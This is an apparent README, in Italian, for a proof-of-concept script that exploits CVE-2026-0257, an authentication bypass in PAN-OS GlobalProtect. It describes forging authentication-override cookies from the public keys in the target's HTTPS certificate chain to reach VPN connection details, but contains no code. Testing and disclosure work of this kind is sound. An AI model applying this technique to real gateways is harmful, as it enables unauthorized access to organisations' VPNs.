Script proof-of-concept per sfruttare il bypass dell'autenticazione GlobalProtect di PAN-OS CVE-2026-0257
Uno script proof-of-concept per testare un portale o gateway GlobalProtect PAN-OS target per la CVE-2026-0257. Lo script tenterà di forgiare un cookie di override dell'autenticazione valido iterando sulla catena di certificati utilizzata dal servizio HTTPS e, per ogni chiave pubblica nella catena, forgerà un nuovo cookie di override dell'autenticazione, testandolo contro il target GlobalProtect per verificare se è valido.
Un cookie forgiato con successo accederà al target GlobalProtect e recupererà le informazioni di connessione VPN (Usa l'argomento --verbose per ispezionarle).
